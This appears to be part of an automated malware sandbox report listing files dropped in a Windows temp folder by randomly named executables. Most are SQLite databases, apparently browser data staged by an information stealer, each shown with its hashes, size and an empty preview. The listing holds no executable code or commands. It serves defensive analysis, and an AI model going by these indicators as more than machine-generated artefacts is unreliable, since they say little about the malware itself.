Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\48faq6L5Fy

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4PRDC8o0yW

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4ys0EZQXqx

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\54Qr2s7zbk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5CKcQ9a9pk

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5XxEBmbn52

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5YP2qJvdIS

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5ZomnQ0AoZ

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5zHqOk5xO4

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6HoilZkKz6

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7Mfty9B68r

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7QcYbOIqTV

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7Vh37hSjH9

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7odTYoDSdE

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\80XqM2dB1m

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.323856189774724
Encrypted:	false
SSDEEP:	3:STnEGnxn:SbXn
MD5:	8618D035A4A60E6E680D8709988DBB36
SHA1:	6EEB28F446706E39E4BF19B8F3B359F77B9F5361
SHA-256:	A4B14ECC6EBCD317D1D5433ABDD8DCF27291357AABEBA0977595F8C551952697
SHA-512:	F1B278CA454EADCD394D26CD157BB2BFE6F21E02310D4ADC550A779B8F5711F6A27ABDD1999040CEF719FB9B733C5FD74D5D24A334400855AF6922ACE01FBB97
Malicious:	false
Preview:	1nIs2cjSMiKs406USwRcv0rBT

C:\Users\user\AppData\Local\Temp\83KeHYPOkj

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\84sdQZwjUz

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8Eyk5OsvbT

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8rnVjpMbtV

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9QgOCZAT0d

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9fCSDPnYFl

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9meo2MMWHV

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9oZagKevcE

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A4g9XY0ojK

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AWd8gOl1Mn

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AkosREFoNE

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
